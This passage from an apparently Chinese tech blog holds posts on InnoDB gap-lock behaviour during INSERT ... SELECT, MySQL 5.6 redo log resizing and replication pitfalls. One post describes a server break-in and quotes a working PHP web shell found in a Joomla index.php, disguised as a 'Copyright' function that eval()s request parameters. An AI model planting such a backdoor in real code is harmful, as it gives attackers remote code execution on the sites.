同时另外开一个SESSION,在表前插入 share_id=1的记录:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET share_id=1, title='abc';
Query OK, 1 ROW affected (13.35 sec)
 
SHOW engine innodb STATUS显示:
 
---TRANSACTION 57050, ACTIVE 9 sec inserting
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 259 localhost msandbox UPDATE
INSERT INTO share SET share_id=1, title='abc'
------- TRX HAS BEEN WAITING 9 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 10 n bits 128 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 57050 lock_mode X locks gap BEFORE rec INSERT intention waiting
Record LOCK, heap no 3 PHYSICAL RECORD: n_fields 18; compact format; info bits 0
------------------
---TRANSACTION 56965, ACTIVE 9 sec inserting
mysql TABLES IN USE 2, locked 2
1787 LOCK struct(s), heap SIZE 109888, 104257 ROW LOCK(s), undo log entries 102474
MySQL thread id 1, OS thread handle 0xa5489b90, query id 258 localhost msandbox Sending DATA
INSERT INTO t SELECT * FROM share ORDER BY share_id ASC
--------
可以看到 lock_mode X locks gap BEFORE rec INSERT intention waiting ... 
 
 
在已扫描记录中插入 share_id=100的记录:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET share_id=100, title='abc100';
Query OK, 1 ROW affected (12.90 sec)
---TRANSACTION 58076, ACTIVE 2 sec inserting
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 271 localhost msandbox UPDATE
INSERT INTO share SET share_id=100, title='abc100'
------- TRX HAS BEEN WAITING 2 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 12 n bits 136 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 58076 lock_mode X locks gap BEFORE rec INSERT intention waiting
Record LOCK, heap no 10 PHYSICAL RECORD: n_fields 18; compact format; info bits 0
------------------
---TRANSACTION 57991, ACTIVE 4 sec
mysql TABLES IN USE 2, locked 2
734 LOCK struct(s), heap SIZE 44352, 43291 ROW LOCK(s), undo log entries 42560
MySQL thread id 1, OS thread handle 0xa5489b90, query id 270 localhost msandbox Sending DATA
INSERT INTO t SELECT * FROM share ORDER BY share_id ASC
--------
 
同样被block住了。
 
 
在未扫描记录中插入 share_id=138667的记录:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET share_id=138667,  title='abc138667';
Query OK, 1 ROW affected (0.02 sec)
没有被block。
 
在表后插入一条新记录:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET title='new record';
Query OK, 1 ROW affected (0.04 sec)
也没有被block。

测试四: 按照主键升序,更新已扫描记录,更新未扫描记录:

##更新已扫描记录
mysql [localhost] {msandbox} (spc) > UPDATE share SET play_count=play_count+1 WHERE share_id=1;
Query OK, 1 ROW affected (26.72 sec)
ROWS matched: 1  Changed: 1  Warnings: 0
 
---TRANSACTION 60636, ACTIVE 2 sec starting index read
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 309 localhost msandbox updating
UPDATE share SET play_count=play_count+1 WHERE share_id=1
------- TRX HAS BEEN WAITING 2 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 10 n bits 128 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 60636 lock_mode X locks rec but NOT gap waiting
Record LOCK, heap no 2 PHYSICAL RECORD: n_fields 18; compact format; info bits 0
------------------
---TRANSACTION 60551, ACTIVE 5 sec inserting
mysql TABLES IN USE 2, locked 2
711 LOCK struct(s), heap SIZE 44352, 42013 ROW LOCK(s), undo log entries 41306
MySQL thread id 1, OS thread handle 0xa5489b90, query id 308 localhost msandbox Sending DATA
INSERT INTO t SELECT * FROM share ORDER BY share_id ASC
 
 
lock_mode X locks rec but NOT gap waiting......
 
###更新未扫描记录:
mysql [localhost] {msandbox} (spc) > UPDATE share SET play_count=play_count+1 WHERE share_id=138668;
Query OK, 1 ROW affected (0.07 sec)

测试五: 按照主键升序,删除已扫描记录,删除未扫描记录:

UPDATE的情况一致。

测试六: 按照非主键排序,在表前,表中,表后插入:

 
mysql [localhost] {msandbox} (spc) > SELECT MIN(share_id), MAX(share_id) FROM share;
+---------------+---------------+
| MIN(share_id) | MAX(share_id) |
+---------------+---------------+
|             1 |        138668 |
+---------------+---------------+
1 ROW IN SET (0.00 sec)
mysql [localhost] {msandbox} (spc) > DELETE FROM share WHERE share_id=1;
Query OK, 1 ROW affected (0.02 sec)
mysql [localhost] {msandbox} (spc) > DELETE FROM share WHERE share_id=100;
Query OK, 1 ROW affected (0.02 sec)
mysql [localhost] {msandbox} (spc) > DELETE FROM share WHERE share_id=138667;
Query OK, 1 ROW affected (0.01 sec)
 
然后开始执行INSERT INTO t SELECT * FROM share ORDER BY title;
同时另外开一个SESSION,在表前插入 share_id=1的记录:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET share_id=1, title='abc';
Query OK, 1 ROW affected (32.43 sec)
 
SHOW engine innodb STATUS显示:
---TRANSACTION 62072, ACTIVE 3 sec inserting
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 333 localhost msandbox UPDATE
INSERT INTO share SET share_id=1, title='abc'
------- TRX HAS BEEN WAITING 3 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 10 n bits 128 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 62072 lock_mode X locks gap BEFORE rec INSERT intention waiting
Record LOCK, heap no 3 PHYSICAL RECORD: n_fields 18; compact format; info bits 0
------------------
---TRANSACTION 61975, ACTIVE 4 sec inserting
mysql TABLES IN USE 2, locked 2
2344 LOCK struct(s), heap SIZE 142656, 137540 ROW LOCK(s), undo log entries 18980
MySQL thread id 1, OS thread handle 0xa5489b90, query id 332 localhost msandbox Creating sort INDEX
INSERT INTO t SELECT * FROM share ORDER BY title
 
可以看到 lock_mode X locks gap BEFORE rec INSERT intention waiting ... 
 
 
在表中插入 share_id=100的记录:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET share_id=100, title='abc100';
Query OK, 1 ROW affected (31.11 sec)
 
---TRANSACTION 62557, ACTIVE 16 sec inserting
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 337 localhost msandbox UPDATE
INSERT INTO share SET share_id=100, title='abc100'
------- TRX HAS BEEN WAITING 16 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 12 n bits 136 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 62557 lock_mode X locks gap BEFORE rec INSERT intention waiting
Record LOCK, heap no 10 PHYSICAL RECORD: n_fields 18; compact format; info bits 0
------------------
---TRANSACTION 62460, ACTIVE 18 sec inserting
mysql TABLES IN USE 2, locked 2
2344 LOCK struct(s), heap SIZE 142656, 137541 ROW LOCK(s), undo log entries 83438
MySQL thread id 1, OS thread handle 0xa5489b90, query id 336 localhost msandbox Creating sort INDEX
INSERT INTO t SELECT * FROM share ORDER BY title
 
同样被block住了。
 
 
在表后插入一条新记录:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET title='new record';
Query OK, 1 ROW affected (33.72 sec)
 
 
---TRANSACTION 63915, ACTIVE 5 sec inserting
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 348 localhost msandbox UPDATE
INSERT INTO share SET title='new record'
------- TRX HAS BEEN WAITING 5 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 3588 n bits 120 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 63915 lock_mode X INSERT intention waiting
Record LOCK, heap no 1 PHYSICAL RECORD: n_fields 1; compact format; info bits 0
 0: len 8; hex 73757072656d756d; ASC supremum;;
 
------------------
---TRANSACTION 63818, ACTIVE 7 sec inserting
mysql TABLES IN USE 2, locked 2
2344 LOCK struct(s), heap SIZE 142656, 137543 ROW LOCK(s), undo log entries 29778
MySQL thread id 1, OS thread handle 0xa5489b90, query id 347 localhost msandbox Creating sort INDEX
INSERT INTO t SELECT * FROM share ORDER BY title
 
 
lock_mode X INSERT intention waiting...

测试七: 按照非主键排序,更新已扫描记录,更新未扫描记录:

mysql [localhost] {msandbox} (spc) > SELECT share_id FROM share ORDER BY title ASC LIMIT 1;
+----------+
| share_id |
+----------+
|    21631 |
+----------+
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SELECT share_id FROM share ORDER BY title DESC LIMIT 1;
+----------+
| share_id |
+----------+
|    22218 |
+----------+
1 ROW IN SET (0.00 sec)
 
INSERT INTO t SELECT * FROM share ORDER BY title ASC
 
##更新已扫描记录
mysql [localhost] {msandbox} (spc) > UPDATE share SET play_count=play_count+1 WHERE share_id=21631;
---TRANSACTION 69278, ACTIVE 3 sec starting index read
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 431 localhost msandbox updating
UPDATE share SET play_count=play_count+1 WHERE share_id=21631
------- TRX HAS BEEN WAITING 3 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 645 n bits 128 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 69278 lock_mode X locks rec but NOT gap waiting
Record LOCK, heap no 6 PHYSICAL RECORD: n_fields 18; compact format; info bits 0
------------------
---TRANSACTION 69181, ACTIVE 4 sec inserting
mysql TABLES IN USE 2, locked 2
2344 LOCK struct(s), heap SIZE 142656, 137543 ROW LOCK(s), undo log entries 20937
MySQL thread id 1, OS thread handle 0xa5489b90, query id 430 localhost msandbox Creating sort INDEX
INSERT INTO t SELECT * FROM share ORDER BY title ASC
 
 
###更新未扫描记录:
mysql [localhost] {msandbox} (spc) > UPDATE share SET play_count=play_count+1 WHERE share_id=22218;
---TRANSACTION 69764, ACTIVE 3 sec starting index read
mysql TABLES IN USE 1, locked 1
LOCK WAIT 2 LOCK struct(s), heap SIZE 320, 1 ROW LOCK(s)
MySQL thread id 2, OS thread handle 0xa5458b90, query id 435 localhost msandbox updating
UPDATE share SET play_count=play_count+1 WHERE share_id=22218
------- TRX HAS BEEN WAITING 3 SEC FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS SPACE id 608 page no 654 n bits 136 INDEX `PRIMARY` OF TABLE `spc`.`share` trx id 69764 lock_mode X locks rec but NOT gap waiting
Record LOCK, heap no 43 PHYSICAL RECORD: n_fields 18; compact format; info bits 0
------------------
---TRANSACTION 69667, ACTIVE 5 sec inserting
mysql TABLES IN USE 2, locked 2
2344 LOCK struct(s), heap SIZE 142656, 137543 ROW LOCK(s), undo log entries 24937
MySQL thread id 1, OS thread handle 0xa5489b90, query id 434 localhost msandbox Creating sort INDEX
INSERT INTO t SELECT * FROM share ORDER BY title ASC

测试八: 按照非主键排序,删除已扫描记录,删除未扫描记录:

UPDATE的情况一致。

5) 优化

在binlog_format=row的情况下,不管这个gap lock是否为BUG,并发性能实在是有点低,于是就要想办法优化。
方法 1)
在INSERT INTO … SELECT 之前,改变当前session的 transaction ISOLATION LEVEL为READ COMMITTED

mysql [localhost] {msandbox} (spc) > SELECT @@GLOBAL.tx_isolation, @@tx_isolation;
+-----------------------+-----------------+
| @@GLOBAL.tx_isolation | @@tx_isolation  |
+-----------------------+-----------------+
| REPEATABLE-READ       | REPEATABLE-READ |
+-----------------------+-----------------+
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SET SESSION  TRANSACTION ISOLATION LEVEL READ committed;
Query OK, 0 ROWS affected (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SELECT @@GLOBAL.tx_isolation, @@tx_isolation;
+-----------------------+----------------+
| @@GLOBAL.tx_isolation | @@tx_isolation |
+-----------------------+----------------+
| REPEATABLE-READ       | READ-COMMITTED |
+-----------------------+----------------+
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > INSERT INTO t SELECT * FROM share ORDER BY title;
 
此时允许并发的INSERT/UPDATE/DELETE操作,完全无阻塞。

方法 2)

mysql [localhost] {msandbox} (spc) > SELECT * FROM share ORDER BY share_id ASC INTO OUTFILE "/tmp/abbbbb";
Query OK, 135200 ROWS affected (0.92 sec)
这个速度太快了, 以致于都无法观察是否会锁定某些行。不过我猜是完全无锁定的。
 
mysql [localhost] {msandbox} (spc) > LOAD DATA INFILE "/tmp/abbbbb" INTO TABLE t;
Query OK, 135200 ROWS affected, 27165 warnings (29.69 sec)
Records: 135200  Deleted: 0  Skipped: 0  Warnings: 27165
 
这些Warnings,是因为没有指定字符集...详见LOAD DATA INFILE的文档。

6) 参考

http://www.mysqlperformanceblog.com/2006/07/12/insert-into-select-performance-with-innodb-tables/

http://dev.mysql.com/doc/refman/5.6/en/innodb-multi-versioning.html

http://dev.mysql.com/doc/refman/5.6/en/innodb-consistent-read.html

http://dev.mysql.com/doc/refman/5.6/en/innodb-record-level-locks.html

http://dev.mysql.com/doc/refman/5.6/en/innodb-locking-reads.html

http://dev.mysql.com/doc/refman/5.6/en/set-transaction.html#isolevel_repeatable-read

http://dev.mysql.com/doc/refman/5.6/en/load-data.html

最后感慨一下,
google.hk 与baidu搜索 “load data infile” 的差距:

google第一条结果就是mysql 5.1的官方文档。
baidu第一条是”红黑联盟”…看这名字,就不敢点进去。

Posted in mysql | Tagged , | Leave a comment

又被入侵了

又被入侵了

话说我们有一台pc 放在 Konkuk University Seoul Korea, 性能较差,平时就windows远程连接过去,翻墙上facebook,
后来发现国内访问速度相当不错,就装了全套linux nginx mysql spawn-fcgi php-cgi 用作web服务器,把我们的博客都放上去了。
这里有一个比较变态的配置,我用spawn-fcgi spawn了数组php-cgi,每组都监听在不同的端口,每个网站分配一组php-cgi。
网站的访问日志木有开。

今天无意中 用netstat -an 看到, 有连接很多国外IP的80端口…

tcp        0      0 x.x.x.x:41799        209.51.196.250:80           CLOSE_WAIT  
......
......

比较好奇,
看一下是哪个进程 netstat -anp:

tcp        0      0 x.x.x.x:41799        209.51.196.250:80           CLOSE_WAIT  17516/php-cgi

然后看它监听在哪个端口:

[root@www logs]# lsof -p 17516 | grep -i  LISTEN
php-cgi 17516 daemon    0u  IPv4 41269909      0t0     TCP localhost:irdmi (LISTEN)
 
 
irdmi是毛...
 
[root@www logs]# cat /etc/services |grep -i irdmi
irdmi2          7999/tcp                # iRDMI2
irdmi2          7999/udp                # iRDMI2
irdmi           8000/tcp                # iRDMI
irdmi           8000/udp                # iRDMI

恩,是8000端口上的那个网站, 使用的joomla程序。

在 index.php中看到:

 86 echo $app;
 87 
 88 
 89 Copyright1_17_72();
 90 function Copyright1_17_72(){
 91 static $gnu = true;
 92 if(!$gnu) return;
 93 if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
 94 $gpl=implode('',$_REQUEST['gnu']);
 95 eval($gpl($_REQUEST['c_id']));
 96 $gnu=false;
 97 }
 98 ?>

果然是被入侵了.

先关了这个站吧.

虚拟主机搞起来, 权限很难控制的说.

Posted in linux | Tagged , | Leave a comment

mysql5.6如何修改innodb_log_file_size

mysql5.6如何修改innodb_log_file_size

mysql5.6以前的版本, 如果修改了innodb_log_file_size,然后重启mysqld,会报错:

InnoDB: Error: log file ./ib_logfile0 IS OF different SIZE 0 5242880 bytes
InnoDB: than specified IN the .cnf file 0 10485760 bytes!

因为mysqld检测到ib_logfile0的大小,与配置文件中指定的大小不一致。

正确的做法:
1 关闭mysql数据库 ,观察 错误日记的信息,确保正常关闭
2 修改innodb_log_file_size = 新的值。
3 使用mv 命令将ib_logfile0 ib_logfileN 做备份
4 重新启动数据库,并观察 错误日记的信息
5 如果启动成功,则删除之前备份的旧日志文件

5.6开始就没这么麻烦,修改完innodb_log_file_size,直接重启就行了。

2013-02-26 14:33:47 29891 [Warning] InnoDB: Resizing redo log FROM 2*3072 TO 2*6400 pages, LSN=1640004
2013-02-26 14:33:47 29891 [Warning] InnoDB: Starting TO DELETE AND rewrite log files.
2013-02-26 14:33:47 29891 [Note] InnoDB: Setting log file ./ib_logfile101 SIZE TO 100 MB
InnoDB: Progress IN MB: 100
2013-02-26 14:33:49 29891 [Note] InnoDB: Setting log file ./ib_logfile1 SIZE TO 100 MB
InnoDB: Progress IN MB: 100
2013-02-26 14:33:51 29891 [Note] InnoDB: Renaming log file ./ib_logfile101 TO ./ib_logfile0
2013-02-26 14:33:51 29891 [Warning] InnoDB: NEW log files created, LSN=1640004
2013-02-26 14:33:51 29891 [Note] InnoDB: 128 ROLLBACK segment(s) are active.
2013-02-26 14:33:51 29891 [Note] InnoDB: Waiting FOR purge TO START
2013-02-26 14:33:51 29891 [Note] InnoDB: 1.2.10 started; log SEQUENCE NUMBER 1640004

mysql真是越来越好用了。

参考:

http://www.zhaokunyao.com/archives/2611

http://mysql.wisborg.dk/2013/02/24/changing-the-size-of-the-innodb-log-files-in-mysql-5-6/

Posted in mysql | Tagged | Leave a comment

mysql5.6主从复制第四部分[一些被忽视的操作细节]

mysql5.6主从复制第四部分[一些被忽视的操作细节]

1. STOP SLAVE

从服务器上负责同步的有二类线程:
1) IO thread
2) SQL thread

IO thread负责获取master上的binary log, 然后多个sql threads负责执行。

IO thread 决定了Retrieved_Gtid_Set
SQL thread 决定了Executed_Gtid_Set

由于IO thread先于SQL thread,Retrieved_Gtid_Set可能会略多于Executed_Gtid_Set。
比如:

mysql [localhost] {msandbox} (test) > SHOW slave STATUS \G
.......
.......
           Retrieved_Gtid_Set: 67cd9435-7cae-11e2-aa8d-00241db92e69:1-9
            Executed_Gtid_Set: 67cd9435-7cae-11e2-aa8d-00241db92e69:1-7
                Auto_Position: 1

所以,在stop slave的时候,正确的操作是:
1) stop slave io_thread;
2) show slave status 确定Executed_Gtid_Set赶上了Retrieved_Gtid_Set
3) stop slave sql_thread.

2.flush tables with read lock 与 show slave status

在一台完全正常的从服务器上开一个session 1:
mysql> flush tables with read lock;
如果主服务器有更新,
在此从服务器上再开一个session2:
mysql> show slave status,将会卡住, 直到在session1中执行unlock tables。

如果show slave status也是在session 1中执行的, 那么就没办法恢复了。。。。

mysql [localhost] {msandbox} (test) > flush tables with read lock;
Query OK, 0 rows affected (0.01 sec)
//这时主服务器发生了更新操作。
mysql [localhost] {msandbox} (test) > show slave status;
卡在这里…
当然ctrl+c可以取消,

Ctrl-C — sending “KILL QUERY 1″ to server …
Ctrl-C — query aborted.
Ctrl-C — sending “KILL 1″ to server …
Ctrl-C — query aborted.
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql [localhost] {msandbox} (test) >
即使这时再unlock tables也没有用。。早已经断开连接了。。
mysql [localhost] {msandbox} (test) > unlock tables;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect…
Connection id: 14
Current database: test

Query OK, 0 rows affected (0.01 sec)

而且现在mysqld都无法stop了…
[modify@H209 msb_5_6_10_b]$ ./stop
Warning; Aborted waiting on pid file: ‘/home/modify/sandboxes/msb_5_6_10_b/data/mysql_sandbox5612.pid’ after 190 seconds
Attempting normal termination — kill -15 10858

所以在 flush tables with read lock 之前,要先stop slave…

http://bugs.mysql.com/?id=68460

Posted in mysql | Tagged , | Leave a comment